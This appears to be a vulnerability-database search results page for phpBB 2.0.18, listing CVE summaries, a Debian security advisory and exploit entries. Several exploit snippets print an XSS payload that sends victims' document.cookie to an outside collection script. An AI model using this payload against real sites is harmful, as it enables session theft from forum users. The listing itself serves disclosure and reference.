2447 matches found
CVE-2005-3537
CVE-2005-3537 affects phpBB 2 before 2.0.18, with a missing input/request validation flaw that enables remote attackers to edit private messages of other users by tampering with parameters or inputs. Public records in multiple feeds (NVD, Debian DSA, Red Hat, OpenVAS listings) confirm the vulnera...
CVE-2005-3536
SQL injection vulnerability in phpBB 2 before 2.0.18 allows remote attackers to execute arbitrary SQL commands via the topic type...
[SECURITY] [DSA 925-1] New phpbb2 packages fix several vulnerabilities
-------------------------------------------------------------------------- Debian Security Advisory DSA 925-1 [email protected] http://www.debian.org/security/ Martin Schulze December 22nd, 2005 http://www.debian.org/security/faq -...
[SECURITY] [DSA 925-1] New phpbb2 packages fix several vulnerabilities
-------------------------------------------------------------------------- Debian Security Advisory DSA 925-1 [email protected] http://www.debian.org/security/ Martin Schulze December 22nd, 2005 http://www.debian.org/security/faq -...
CVE-2005-3536: Undefined Security Weakness
SQL injection vulnerability in phpBB 2 before 2.0.18 allows remote attackers to execute arbitrary SQL commands via the topic type...
CVE-2005-3537: Undefined Security Weakness
A "missing request validation" error in phpBB 2 before 2.0.18 allows remote attackers to edit private messages of other users, probably by modifying certain parameters or other inputs...
DSA-925-1 phpbb2 - several
Bulletin has no description...
phpBB <= 2.0.18 Remote XSS Cookie Disclosure Exploit
Exploit for unknown platform in category web applications ==================================================== phpBB " ''style='font-size:0;color:EFEFEF'style='top:expressionevalthis.sss;'sss=i=new//Image;i.src='http://www.url.com/cookie/c.php?c='+document.cookie;this.sss=nullstyle='font-size:0;...
phpBB <= 2.0.18 Remote XSS Cookie Disclosure Exploit
No description provided by source. / phpBB = 2.0.18 XSS Cookie Disclosure Proof of Concept -- 'the html is on exploit' original exploit by: cXIb8O3 - 12/16/2005 proof of concept by: jet -- http://jet.carbon-4.net/ develop a pure, lucid mind, not depending upon sound, flavor, touch, odor, or any...
phpBB 2.0.18 - Cross-Site Scripting Cookie Disclosure
phpBB 2.0.18 - Cross-Site Scripting Cookie Disclosure / phpBB " ''style='font-size:0;color:EFEFEF'style='top:expressionevalthis.sss;'sss=i=new//Image;i.src='http://www.url.com/cookie/c.php?c='+document.cookie;this.sss=nullstyle='font-size:0; X="' c.php: milw0rm.com 2005-12-21...
phpBB 2.0.18 - Cross-Site Scripting / Cookie Disclosure
/ phpBB " ''style='font-size:0;color:EFEFEF'style='top:expressionevalthis.sss;'sss=i=new//Image;i.src='http://www.url.com/cookie/c.php?c='+document.cookie;this.sss=nullstyle='font-size:0; X="' c.php: milw0rm.com 2005-12-21...
CVE-2005-4358
admin/admindisallow.php in phpBB 2.0.18 allows remote attackers to obtain the installation path via a direct request with a non-empty setmodules parameter, which causes an invalid appendsid function call that leaks the path in an error message...
CVE-2005-4357
Cross-site scripting XSS vulnerability in phpBB 2.0.18, when "Allowed HTML tags" is enabled, allows remote attackers to inject arbitrary Javascript via a permitted HTML tag with " quote characters and active attributes such as onmouseover...
CVE-2005-4357
Cross-site scripting XSS vulnerability in phpBB 2.0.18, when "Allowed HTML tags" is enabled, allows remote attackers to inject arbitrary Javascript via a permitted HTML tag with " quote characters and active attributes such as onmouseover...
CVE-2005-4358
admin/admindisallow.php in phpBB 2.0.18 allows remote attackers to obtain the installation path via a direct request with a non-empty setmodules parameter, which causes an invalid appendsid function call that leaks the path in an error message...
CVE-2005-4358
CVE-2005-4358 affects phpBB 2.0.18. The vulnerability is in admin/admin_disallow.php where a direct request with a non-empty setmodules parameter leads to an invalid append_sid function call that leaks the installation path in an error message. Impact: remote attackers can obtain the path to the ...
CVE-2005-4357
Cross-site scripting XSS vulnerability in phpBB 2.0.18, when "Allowed HTML tags" is enabled, allows remote attackers to inject arbitrary Javascript via a permitted HTML tag with " quote characters and active attributes such as onmouseover...
CVE-2005-4358
admin/admindisallow.php in phpBB 2.0.18 allows remote attackers to obtain the installation path via a direct request with a non-empty setmodules parameter, which causes an invalid appendsid function call that leaks the path in an error message...
CVE-2005-4357
CVE-2005-4357 is a cross-site scripting (XSS) vulnerability in phpBB when the “Allowed HTML tags” feature is enabled. The issue allows remote attackers to inject arbitrary JavaScript via a permitted HTML tag that includes characters like " and active attributes such as onmouseover, effectively ex...
CVE-2005-4358: Undefined Security Weakness
admin/admindisallow.php in phpBB 2.0.18 allows remote attackers to obtain the installation path via a direct request with a non-empty setmodules parameter, which causes an invalid appendsid function call that leaks the path in an error message...